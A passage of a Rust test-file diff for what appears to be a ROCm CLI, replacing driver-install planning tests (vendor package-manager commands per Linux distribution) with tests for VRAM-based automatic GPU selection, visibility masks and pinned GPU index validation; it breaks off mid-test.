test_paths("driver-reconcile-empty"); - - let rendered = reconcile_driver_install(&paths)?; - - assert!(rendered.contains("driver install reconciliation")); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("privileged_commands: ")); - assert!(rendered.contains("no prior driver execution state found")); - assert!(rendered.contains("rocm install driver --dkms")); - assert!(!driver_install_state_path(&paths).exists()); - let _ = fs::remove_dir_all(root); - Ok(()) + fn vram(index: u32, used_mb: u64, total_mb: u64) -> GpuVramUsage { + GpuVramUsage { + index, + used_mb, + total_mb, + } } #[test] - fn driver_reconcile_updates_state_after_reboot() -> Result<()> { - let (root, paths) = test_paths("driver-reconcile-state"); - let pre_driver = rocm_core::DriverSummary { - policy: "linux_official_amd_dkms_wrapper".to_owned(), - status: "not_detected".to_owned(), - detail: None, - }; - let current_driver = rocm_core::DriverSummary { - policy: "linux_official_amd_dkms_wrapper".to_owned(), - status: "amdgpu_available".to_owned(), - detail: Some("/dev/kfd is present".to_owned()), - }; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: Some(2), - pre_driver, - post_driver: None, - boot_id_at_execution: Some("old-boot".to_owned()), - reboot_required: true, - reboot_observed: false, - commands: vec!["sudo apt-get install -y amdgpu-dkms".to_owned()], - reconciled_at_unix_ms: None, - reconciliation: None, - }; - let checks = vec![ - DriverPassiveCheck { - name: "/dev/kfd".to_owned(), - status: "present".to_owned(), - detail: "KFD device node".to_owned(), - }, - DriverPassiveCheck { - name: "/dev/dri/renderD*".to_owned(), - status: "missing".to_owned(), - detail: "DRM render node".to_owned(), - }, + fn auto_selection_prefers_lowest_index_idle_gpu() { + // GPU 0 busy (only 5% free), GPU 1 idle, GPU 2 idle. + let usage = [ + vram(0, 182_000, 192_000), + vram(1, 1_000, 192_000), + vram(2, 500, 192_000), ]; - - let rendered = reconcile_driver_install_state( - &paths, - &mut state, - current_driver, - Some("new-boot".to_owned()), - checks, - )?; - let saved = read_driver_install_state(&paths)?.expect("state should be saved"); - - assert!(rendered.contains("reboot_observed: true")); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("privileged_commands: ")); - assert!(rendered.contains("driver_status: amdgpu_available")); - assert!(rendered.contains("passive_check_summary: total=2 present=1 missing=1")); - assert!(rendered.contains("/dev/dri/renderD*: missing")); - assert!(rendered.contains("missing passive checks")); - assert!(saved.reboot_observed); - assert!(saved.reconciled_at_unix_ms.is_some()); assert_eq!( - saved - .reconciliation - .as_ref() - .map(|value| value.driver.status.as_str()), - Some("amdgpu_available") + select_auto_gpu_index(Some(3), None, &[], Some(&usage)), + vec![1], + "should skip the busy GPU 0 and pick the lowest idle GPU" ); - let reconciliation = saved.reconciliation.as_ref().expect("reconciliation saved"); - assert_eq!(reconciliation.check_summary.total, 2); - assert_eq!(reconciliation.check_summary.present, 1); - assert_eq!(reconciliation.check_summary.missing, 1); - let _ = fs::remove_dir_all(root); - Ok(()) } #[test] - fn driver_reconcile_preserves_explicit_reboot_policy() -> Result<()> { - for reboot_required in [false, true] { - let (root, paths) = test_paths(if reboot_required { - "driver-reconcile-reboot-true" - } else { - "driver-reconcile-reboot-false" - }); - let driver = rocm_core::DriverSummary { - policy: "driver-policy".to_owned(), - status: "available".to_owned(), - detail: None, - }; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: Some(2), - pre_driver: driver.clone(), - post_driver: None, - boot_id_at_execution: Some("same-boot".to_owned()), - reboot_required, - reboot_observed: false, - commands: vec!["execute".to_owned()], - reconciled_at_unix_ms: None, - reconciliation: None, - }; - - reconcile_driver_install_state( - &paths, - &mut state, - driver, - Some("same-boot".to_owned()), - Vec::new(), - )?; - let saved = read_driver_install_state(&paths)?.expect("state should be saved"); - - assert_eq!(state.reboot_required, reboot_required); - assert_eq!(saved.reboot_required, reboot_required); - let _ = fs::remove_dir_all(root); - } - Ok(()) + fn auto_selection_skips_managed_and_busy_gpus_then_picks_most_free() { + // GPU 0 pinned by a managed service; GPU 1 partly used; GPU 2 more free + // but none is fully idle, so pass 2 (most free) applies. + let usage = [ + vram(0, 10_000, 192_000), + vram(1, 120_000, 192_000), + vram(2, 60_000, 192_000), + ]; + assert_eq!( + select_auto_gpu_index(Some(3), None, &[0], Some(&usage)), + vec![2], + "with no idle GPU, pick the non-busy GPU with the most free VRAM" + ); } #[test] - fn driver_passive_check_summary_counts_non_present_as_missing() { - let summary = summarize_driver_passive_checks(&[ - DriverPassiveCheck { - name: "/dev/kfd".to_owned(), - status: "present".to_owned(), - detail: "KFD".to_owned(), - }, - DriverPassiveCheck { - name: "/dev/dri/renderD*".to_owned(), - status: "missing".to_owned(), - detail: "render".to_owned(), - }, - DriverPassiveCheck { - name: "dkms".to_owned(), - status: "error".to_owned(), - detail: "dkms status failed".to_owned(), - }, - ]); - - assert_eq!(summary.total, 3); - assert_eq!(summary.present, 1); - assert_eq!(summary.missing, 2); + fn auto_selection_pass_two_ranks_by_absolute_free_vram() { + // Heterogeneous VRAM with no fully-idle GPU (so pass 2 applies): + // GPU 0 is a small card with a high free *fraction* (75%) but little + // absolute free memory; GPU 1 is large with a lower fraction (~48%) + // but far more free memory. Auto-selection must prefer GPU 1. + let usage = [vram(0, 6_000, 24_000), vram(1, 100_000, 192_000)]; + assert_eq!( + select_auto_gpu_index(Some(2), None, &[], Some(&usage)), + vec![1], + "pass 2 should rank by absolute free VRAM, not free percentage" + ); } #[test] - fn driver_plan_default_linux_preflight_has_no_execution_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - false, - PrivilegeEscalation::Sudo, + fn auto_selection_falls_back_to_first_non_busy_without_vram() { + assert_eq!(select_auto_gpu_index(Some(4), None, &[0, 1], None), vec![2]); + // Unknown GPU count: no GPU-0 fallback — defer to the engine device probe. + assert_eq!( + select_auto_gpu_index(None, None, &[], None), + Vec::::new() ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(!plan.mutating); - assert!(plan.commands.is_empty()); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("execution_commands: ")); - assert!(!rendered.contains("sudo apt-get")); - assert!(rendered.contains("add --dkms")); } #[test] - fn resolve_shell_default_template_uses_default_when_env_unset() { - let _env = ScopedTestEnv::new(); - // A made-up variable name that nothing else sets, cleared under the lock, - // isolates the default path. + fn auto_selection_restricts_candidates_to_visible_set() { + // GPUs 0 and 1 are masked out (only 2 and 3 visible). With no VRAM data + // auto-select must pick the lowest *visible* ordinal, never a hidden one. + assert_eq!( + select_auto_gpu_index(Some(4), Some(&[2, 3]), &[], None), + vec![2], + "selection must stay inside the visibility mask" + ); + // The lowest visible GPU (2) is busy, so fall through to the next visible. assert_eq!( - resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION:-7.2.4}"), - "7.2.4" + select_auto_gpu_index(Some(4), Some(&[2, 3]), &[2], None), + vec![3] ); } #[test] - fn resolve_shell_default_template_prefers_env_value_when_set() { - let mut env = ScopedTestEnv::new(); - let var = "ROCM_CLI_TEST_REPO_VERSION_OVERRIDE"; - env.set(var, "9.9.9"); + fn auto_selection_all_visible_busy_falls_back_to_lowest_visible_not_zero() { + // Every visible GPU is pinned; the fallback must be the lowest *visible* + // ordinal (2), not a hardcoded 0 that the mask has hidden. assert_eq!( - resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), - "9.9.9" + select_auto_gpu_index(Some(4), Some(&[2, 3]), &[2, 3], None), + vec![2] ); } #[test] - fn resolve_shell_default_template_treats_empty_env_as_unset() { - let mut env = ScopedTestEnv::new(); - let var = "ROCM_CLI_TEST_REPO_VERSION_EMPTY"; - env.set(var, ""); + fn auto_selection_returns_none_when_every_device_masked_out() { + // An empty visible set means no candidate survives the mask: return no + // selection rather than assuming device 0. assert_eq!( - resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), - "7.2.4" + select_auto_gpu_index(Some(4), Some(&[]), &[], None), + Vec::::new() ); } #[test] - fn resolve_shell_default_template_passes_through_non_template() { - assert_eq!(resolve_shell_default_template("7.2.4"), "7.2.4"); + fn auto_selection_uses_vram_row_count_when_amd_smi_count_is_unknown() { + // `detect_gpu_count()` is `None` while VRAM telemetry is present. With + // *several* rows that is the amd-smi shape of the state -- `metric` + // answered while `list` did not -- not the DRM sysfs fallback, which + // withholds telemetry entirely once a second AMD card is found and so + // can never produce more than one row (`read_drm_vram_usage`). Either + // way auto-selection must derive the count from the rows and skip the + // busy GPU 0 rather than returning no selection (which would land the + // engine on GPU 0). + let usage = [ + vram(0, 182_000, 192_000), + vram(1, 1_000, 192_000), + vram(2, 500, 192_000), + ]; + assert_eq!( + select_auto_gpu_index(None, None, &[], Some(&usage)), + vec![1], + "with no amd-smi count, rank the reported VRAM rows and pick the first idle GPU" + ); + // The state the DRM sysfs fallback can actually reach: exactly one row. + // It is still ranked (and still selected) rather than discarded for + // being a single device. + assert_eq!( + select_auto_gpu_index(None, None, &[], Some(&[vram(0, 1_000, 192_000)])), + vec![0], + "the single row the sysfs fallback can emit must still be selectable" + ); + // Still nothing to go on when neither the count nor telemetry is present. + assert_eq!( + select_auto_gpu_index(None, None, &[], Some(&[])), + Vec::::new() + ); } #[test] - fn resolve_shell_default_template_leaves_bare_var_untouched() { - let _env = ScopedTestEnv::new(); - // No `:-default`, so there is nothing to resolve to; the input must pass - // through unchanged rather than being partially rewritten. + fn auto_selection_ranks_the_actual_reported_row_indices() { + // A visibility mask hides GPUs 0 and 1, so amd-smi metric reports only + // the surviving devices with their absolute, non-contiguous ordinals + // [2, 3] -- there is no row at index 0 or 1. Auto-selection must scan + // those real indices, not a synthetic `0..count` range (which would + // look up absent rows and fall through to a bogus GPU 0). + let usage = [vram(2, 182_000, 192_000), vram(3, 1_000, 192_000)]; + assert_eq!( + select_auto_gpu_index(None, None, &[], Some(&usage)), + vec![3], + "should skip the busy GPU 2 and pick the idle GPU 3 by its real ordinal" + ); + // With GPU 3 also pinned by a managed service, pass 3 still returns a + // real reported ordinal (GPU 2), never a fabricated index 0. assert_eq!( - resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION}"), - "${ROCM_CLI_TEST_UNSET_REPO_VERSION}" + select_auto_gpu_index(None, None, &[3], Some(&usage)), + vec![2], + "the sole non-busy reported GPU must be selected by its real ordinal" ); } #[test] - fn resolve_shell_default_template_leaves_nested_default_untouched() { - let _env = ScopedTestEnv::new(); - // A nested default is beyond the flat matcher; returning the literal - // input keeps a `${B:-x}` fragment from leaking as a "resolved" value. + fn auto_selection_all_reported_busy_falls_back_to_a_reported_ordinal() { + // Same sparse-ordinal host as above ([2, 3] reported, nothing at 0 or 1) + // but now BOTH reported GPUs are pinned by a running service, so every + // pass falls through to the terminal "all busy, pick one anyway" + // fallback. That fallback used to hand back a hardcoded `0` — safe only + // while candidates were a dense `0..count`, and simply wrong once they + // come from the reported rows: index 0 is a device nothing reported, yet + // it would be exported verbatim as `HIP_VISIBLE_DEVICES`. It must return + // the lowest ordinal that was actually reported instead. + let usage = [vram(2, 182_000, 192_000), vram(3, 190_000, 192_000)]; + assert_eq!( + select_auto_gpu_index(None, None, &[2, 3], Some(&usage)), + vec![2], + "the all-busy fallback must name a reported GPU, never a fabricated index 0" + ); + // "Lowest reported" has to mean lowest by ordinal, not first in the + // rows: `amd-smi` orders its output by enumeration, not by index, so + // feed the same two rows in descending order. Varying the *busy* slice's + // order instead would prove nothing — it is only ever read through + // `.contains()`, so that assertion was a duplicate of the one above. + let descending = [vram(3, 190_000, 192_000), vram(2, 182_000, 192_000)]; assert_eq!( - resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}"), - "${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}" + select_auto_gpu_index(None, None, &[2, 3], Some(&descending)), + vec![2], + "the fallback must take the lowest reported ordinal, not the first row" ); } #[test] - fn driver_plan_dry_run_repo_version_line_is_resolved() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Regression for the dry-run output leaking the raw shell placeholder on - // the `repo_version:` line instead of the effective version. - let os_release = r#" -ID=rhel -VERSION_ID="9.7" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, + fn auto_selection_considers_a_detected_gpu_that_reported_no_vram_row() { + // A short row set is not always a visibility mask. `parse_gpu_vram_usage` + // drops any device entry missing its `used_vram`/`total_vram` pointers, so + // here `list` counts two GPUs, both are visible, but only GPU 0 produced a + // row — and GPU 0 is pinned by a managed service. Driving candidates from + // the rows alone leaves `[0]`, the busy filter empties it, every pass + // iterates nothing and the terminal fallback hands back GPU 0: `serve` + // pinned to an already-occupied GPU, the exact failure this selection + // exists to prevent. The untelemetried GPU 1 is confirmed by both the + // count and the visible set, so it must be a candidate and must win. + assert_eq!( + select_auto_gpu_index( + Some(2), + Some(&[0, 1]), + &[0], + Some(&[vram(0, 182_000, 192_000)]) + ), + vec![1], + "a detected, visible GPU with no VRAM row must be preferred over a busy reported one" + ); + // The same shape without telemetry for the busy device being conclusive: + // GPU 1 is still the only non-busy ordinal either source confirms. + assert_eq!( + select_auto_gpu_index( + Some(2), + Some(&[0, 1]), + &[0], + Some(&[vram(0, 1_000, 192_000)]) + ), + vec![1], + "an idle-looking but service-pinned GPU 0 must still lose to the free GPU 1" + ); + // The masking behaviour this rows-only construction was introduced for is + // untouched: rows `[2, 3]` against `count == 2` put a row index at or above + // the count, which is the proof the ordinal space is re-indexed, so the + // union never happens and the rows stand alone. (The visible retain would + // also have dropped `0`/`1` here — this pins the row-index rule itself, so + // the masked case survives on a host where the mask is unknown too.) + let masked = [vram(2, 182_000, 192_000), vram(3, 190_000, 192_000)]; + assert_eq!( + select_auto_gpu_index(Some(2), Some(&[2, 3]), &[2, 3], Some(&masked)), + vec![2], + "a masked host must not gain candidates 0/1 from the detected count" ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(rendered.contains("repo_version: 7.2.4")); - assert!(!rendered.contains("repo_version: ${ROCM_CLI_AMDGPU_VERSION:-7.2.4}")); } #[test] - fn driver_plan_debian_12_omits_linux_modules_extra() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=debian -VERSION_ID="12" -VERSION_CODENAME=bookworm -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, + fn auto_selection_considers_an_untelemetried_gpu_when_the_visible_set_is_unknown() { + // Same shape as the test above, but `visible` is `None`. That is not an + // exotic host: `probe_usable_amd_gpu_indices` returns `None` + // *unconditionally* off Linux, and `serve` threads that straight into + // `visible`, so every Windows run takes this path — as does any Linux host + // whose KFD topology and DRM cards are both unreadable. Gating the + // `0..count` union on `visible.is_some()` therefore left the whole bug + // standing on a supported platform. + // + // Nothing about the mask is needed to justify GPU 1 here: the amd-smi + // `list` count asserts two devices and the rows name only ordinals below + // that count, so the rows are a subset of a dense range, not a re-indexed + // one. GPU 0 is pinned by a managed service, so the untelemetried GPU 1 is + // the only free ordinal and must win over the busy reported fallback. + assert_eq!( + select_auto_gpu_index(Some(2), None, &[0], Some(&[vram(0, 182_000, 192_000)])), + vec![1], + "an unprobeable host must still consider a counted GPU that reported no VRAM row" + ); + // A row index at or above the count is the only evidence available that the + // ordinal space is *not* a dense `0..count`, so there the rows stay + // authoritative even with no mask to retain against — otherwise an + // unprobeable masked host would have `[0, 1]` invented for it. + let masked = [vram(2, 182_000, 192_000), vram(3, 190_000, 192_000)]; + assert_eq!( + select_auto_gpu_index(Some(2), None, &[2, 3], Some(&masked)), + vec![2], + "re-indexed rows must not gain unconfirmed candidates 0/1 from the detected count" + ); + // The count must come from the `list` enumeration to confirm anything. + // With `detected` absent it is `rows.len()`, i.e. the rows restating their + // own size, and `parse_gpu_vram_usage` can repeat an ordinal: it falls back + // to the array position only when an entry has no `gpu` field, so a payload + // naming `"gpu": 0` twice yields two index-0 rows. That makes `rows.len()` + // 2 with every index below it, and dropping the `detected` half of the + // condition would invent a GPU 1 nothing ever enumerated. + assert_eq!( + select_auto_gpu_index( + None, + None, + &[0], + Some(&[vram(0, 182_000, 192_000), vram(0, 182_000, 192_000)]) + ), + vec![0], + "a row-derived count must not synthesise an ordinal no source reported" ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(plan.supported); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("linux-headers-$(uname -r)")); - assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); - assert!(rendered.contains("amdgpu-dkms")); - assert!(rendered.contains("dry run only")); } #[test] - fn driver_plan_rhel_97_uses_documented_dnf_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=rhel -VERSION_ID="9.7" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - assert!(rendered.contains("`dnf` package manager is available")); - assert!(rendered.contains("kernel-headers-$(uname -r)")); - assert!(rendered.contains("kernel-devel-$(uname -r)")); - assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); - assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/rhel/9.7/")); - assert!(rendered.contains("amdgpu-install-7.2.4.70204-1.el9.noarch.rpm")); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); - assert!(rendered.contains("approval: required")); + fn validate_pinned_gpu_index_rejects_out_of_range() { + // Index equal to or beyond the detected count is rejected. + let error = validate_pinned_gpu_index(4, Some(4), None, false) + .expect_err("index 4 is out of range"); + assert!(error.to_string().contains("out of range")); + assert!(validate_pinned_gpu_index(9, Some(2), None, false).is_err()); } #[test] - fn driver_plan_oracle_linux_101_uses_el_10_uek_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ol -VERSION_ID="10.1" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, + fn validate_pinned_gpu_index_accepts_in_range_or_unknown_count() { + // In-range index pins exactly that ordinal. + assert_eq!( + validate_pinned_gpu_index(0, Some(1), None, false).unwrap(), + vec![0] ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(plan.supported); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("kernel-uek-devel-$(uname -r)")); - assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/el/10/")); - assert!(rendered.contains("amdgpu-install-7.2.4.70204-1.el10.noarch.rpm")); - assert!(rendered.contains("dry run only")); - } - - #[test] - fn driver_plan_rocky_97_uses_el_dnf_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=rocky -VERSION_ID="9.7" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, + assert_eq!( + validate_pinned_gpu_index(3, Some(4), None, false).unwrap(), + vec![3] ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!( - rendered - .contains("sudo dnf install -y kernel-headers kernel-devel kernel-devel-matched") + // Unknown count (amd-smi unavailable) is allowed through unvalidated. + assert_eq!( + validate_pinned_gpu_index(7, None, None, false).unwrap(), + vec![7] ); - assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/el/9.7/")); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); } #[test] - fn driver_plan_rocky_94_uses_el_dnf_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Rocky 9.x point releases must resolve like RHEL 9.x, not just 9.7. - let os_release = r#" -ID=rocky -VERSION_ID="9.4" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/el/9.4/")); - assert!(rendered.contains("amdgpu-install-7.2.4.70204-1.el9.noarch.rpm")); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + fn effective_gpu_count_prefers_amd_smi_then_falls_back_to_vram_rows() { + let usage = [vram(0, 1_000, 192_000), vram(1, 1_000, 192_000)]; + // amd-smi's count wins when it is known, even over a differing row count. + assert_eq!(effective_gpu_count(Some(4), Some(&usage)), Some(4)); + // amd-smi unavailable (`None`): the sysfs VRAM fallback row count stands in. + assert_eq!(effective_gpu_count(None, Some(&usage)), Some(2)); + // The second, previously untested fallback trigger: amd-smi ran and + // reported zero devices. `Some(0)` must fall through to the VRAM rows + // just as `None` does, or a host amd-smi cannot enumerate but sysfs can + // would have nothing for `--gpu auto` to rank. Dropping the + // `filter(|&count| count > 0)` on `detected` turns this line red. + assert_eq!(effective_gpu_count(Some(0), Some(&usage)), Some(2)); + // Neither source available. + assert_eq!(effective_gpu_count(None, None), None); + assert_eq!(effective_gpu_count(None, Some(&[])), None); + // Both present but both empty: still nothing to rank. + assert_eq!(effective_gpu_count(Some(0), Some(&[])), None); + assert_eq!(effective_gpu_count(Some(0), None), None); } #[test] - fn driver_plan_rocky_8_and_10_remain_unsupported() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // AMD documents Rocky Linux 9 only; keep the driver matrix scoped to 9.x. - for version in ["8.10", "10.0"] { - let os_release = format!("\nID=rocky\nVERSION_ID=\"{version}\"\n"); - let plan = build_driver_install_plan( - &test_examine("linux", false), - &os_release, - true, - PrivilegeEscalation::Sudo, - ); - assert!(!plan.supported, "rocky {version} should be unsupported"); - assert!(!plan.mutating, "rocky {version} must not mutate"); - assert!( - plan.commands.is_empty(), - "rocky {version} must emit no commands" - ); - } + fn validate_pinned_gpu_index_rejects_masked_out_device() { + // The visible set is authoritative: an index outside it is rejected early + // with the usable set, rather than deferring to a late engine error. A + // mask is set here, so the message names the visibility variables. + let error = validate_pinned_gpu_index(0, Some(4), Some(&[2, 3]), true) + .expect_err("masked-out device must be rejected"); + let message = error.to_string(); + assert!(message.contains("not available under the active visibility mask")); + assert!(message.contains("[2, 3]")); + // A visible index still pins exactly that ordinal. + assert_eq!( + validate_pinned_gpu_index(2, Some(4), Some(&[2, 3]), true).unwrap(), + vec![2] + ); + // An empty visible set is authoritative "no GPU usable" (every device + // masked out), not "could not enumerate" — the latter is `None`, per the + // `usable_amd_gpu_indices` contract. So it rejects rather than falling + // through to the count check; the detected count must not override it. + let masked_out = validate_pinned_gpu_index(1, Some(4), Some(&[]), true) + .expect_err("an all-masked host must reject an explicit --gpu index"); + assert!( + masked_out + .to_string() + .contains("no usable AMD GPU is available") + ); } #[test] - fn driver_plan_debian_uses_intended_ubuntu_suite() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // AMD's documented Debian install deliberately serves Debian from the - // Ubuntu-suite graphics tree (Debian 12 -> jammy). Lock that in and - // ensure the plan explains the mapping is intentional. - let os_release = r#" -ID=debian -VERSION_ID="12" -VERSION_CODENAME=bookworm -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, + fn validate_pinned_gpu_index_absent_index_without_mask_reads_as_not_present() { + // No visibility mask is set, yet amd-smi counts more devices than the + // KFD/DRM probe finds, so the authoritative visible set (0..present) is + // shorter than `detected`. An index in that gap is genuinely absent from + // the host — the rejection must say so and must NOT blame HIP/ROCR + // variables the user never set (that message sends them debugging a mask + // that does not exist). + let error = validate_pinned_gpu_index(2, Some(4), Some(&[0, 1]), false) + .expect_err("an index past the visible set must be refused"); + let message = error.to_string(); + assert!( + message.contains("not present on this host"), + "unmasked rejection should read as not-present, got: {message}" ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(plan.supported); - assert_eq!(plan.codename, "jammy"); - assert!(rendered.contains("https://repo.radeon.com/graphics/7.2.4/ubuntu jammy main")); assert!( - plan.reason - .contains("intentionally uses AMD's Ubuntu-suite repository") + !message.contains("visibility mask"), + "must not blame a mask when none is set, got: {message}" ); - } + assert!(message.contains("[0, 1]")); - #[test] - fn driver_plan_sles_157_uses_documented_zypper_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=sles -VERSION_ID="15.7" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(rendered.contains("`zypper` package manager is available")); - assert!(rendered.contains("SUSEConnect")); - assert!(rendered.contains("sle-module-desktop-applications/15.7/x86_64")); - assert!(rendered.contains("sudo zypper install -y kernel-default-devel")); - assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/sle/15.7/")); - assert!(rendered.contains("sudo zypper --no-gpg-checks install -y")); - assert!(rendered.contains("Execute: sudo zypper install -y amdgpu-dkms")); - assert!(rendered.contains("approval: required")); + // The all-empty visible set with no mask is a not-present message too, + // never a spurious mask advisory. + let empty = validate_pinned_gpu_index(0, Some(2), Some(&[]), false) + .expect_err("no present GPU must refuse an explicit --gpu index"); + assert!(empty.to_string().contains("present on this host")); + assert!(!empty.to_string().contains("visibility mask")); } #[test] - fn driver_plan_unsupported_linux_is_non_mutating() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=fedora -VERSION_ID="41" -"#; - let plan = build_driver_install_plan( - &test_examine("linux", false), - os_release, - true, - PrivilegeEscalation::Sudo, + fn validate_pinned_gpu_index_prefers_visible_set_over_detected_count() { + // detected and visible come from different probes. When both are known the + // visible set wins, so an index inside the detected count but outside the + // HIP-visible set is still rejected (and vice versa), instead of the two + // being compared as one ordinal space. + assert_eq!( + validate_pinned_gpu_index(1, Some(4), Some(&[0, 1]), true).unwrap(), + vec![1] + ); + assert!( + validate_pinned_gpu_index(2, Some(4), Some(&[0, 1]), true).is_err(), + "index within the detected count but outside the visible set must reject" ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("no driver commands will be executed")); - assert!(!rendered.contains("sudo dnf install -y amdgpu-dkms")); } #[test] - fn windows_install_driver_is_validate_only() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let plan = build_driver_install_plan( - &test_examine("windows", false), - "", - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(!plan.supported); - assert!(!plan.mutating); - assert_eq!(plan.policy, "windows_validate_only"); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("execution_commands: ")); - assert!(rendered.contains("post_reboot_checks:")); - assert!(rendered.contains("use `rocm examine`")); - assert!(rendered.contains("rocm examine")); - assert!(plan.commands.is_empty()); + fn parse_gpu_vram_usage_reads_gpu_data_envelope() { + let value = json!({ + "gpu_data": [ + {"gpu": 0, "mem_usage": {"used_vram": {"value": 1000}, "total_vram": {"value": 192_000}}}, + {"gpu": 1, "mem_usage": {"used_vram": {"value": 50000}, "total_vram": {"value": 192_000}}} + ] + }); + let rows = parse_gpu_vram_usage(&value); + assert_eq!(rows.len(), 2); + assert_eq!(rows[0].index, 0); + assert_eq!(rows[0].used_mb, 1000); + assert_eq!(rows[1].index, 1); + assert!((rows[1].free_fraction().unwrap() - (142_000.0 / 192_000.0)).abs() < 1e-9); } #[test] - fn wsl_install_driver_installs_rocdxg_without_dkms() { - // `dkms: true` is passed deliberately: WSL2 has no kernel module to - // build, so the flag must not pull in the bare-metal path. - // - // `build_driver_install_plan` resolves `${ROCM_CLI_AMDGPU_VERSION:-...}` - // from process env before it reaches the WSL branch, and the WSL branch - // then reads the three ROCDXG vars — an exported - // `ROCM_CLI_ROCDXG_VERSION` would steer this plan into a refusal and - // fail the `plan.supported` assertion below. So this reader takes the - // guard that clears both sets. - let _env = scoped_rocdxg_env(); - let plan = build_driver_install_plan( - &test_examine("linux", true), - "", - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "wsl_rocdxg"); - assert!(!rendered.contains("amdgpu-dkms")); - // The whole point of the bug: the plan must be runnable, and must not - // send the user to a file that only exists in a git checkout. - assert!(!rendered.contains("execution_commands: ")); - assert!(!rendered.contains("scripts/")); - assert!(rendered.contains("approval: required")); - } + fn read_drm_vram_usage_reads_a_single_amdgpu_card_and_assigns_ordinal_zero() { + // Plant a minimal `/sys/class/drm`-shaped tree: one AMD card, a connector + // sub-node that must be skipped, and a non-AMD card that must be ignored. + let root = std::env::temp_dir().join(format!("rocm-drm-vram-{}", std::process::id())); + let _ = fs::remove_dir_all(&root); + let plant_amd = |card: &str, total: u64, used: u64| { + let device = root.join(card).join("device"); + fs::create_dir_all(&device).unwrap(); + fs::write(device.join("vendor"), "0x1002\n").unwrap(); + fs::write(device.join("mem_info_vram_total"), format!("{total}\n")).unwrap(); + fs::write(device.join("mem_info_vram_used"), format!("{used}\n")).unwrap(); + }; + // 192 GiB total, mostly free (values in bytes). + plant_amd("card0", 206_158_430_208, 1_073_741_824); + // A connector sub-node under card0 — must be skipped, not parsed as a card. + fs::create_dir_all(root.join("card0-DP-1")).unwrap(); + // A non-AMD primary card — different vendor, must be ignored. + let intel = root.join("card1").join("device"); + fs::create_dir_all(&intel).unwrap(); + 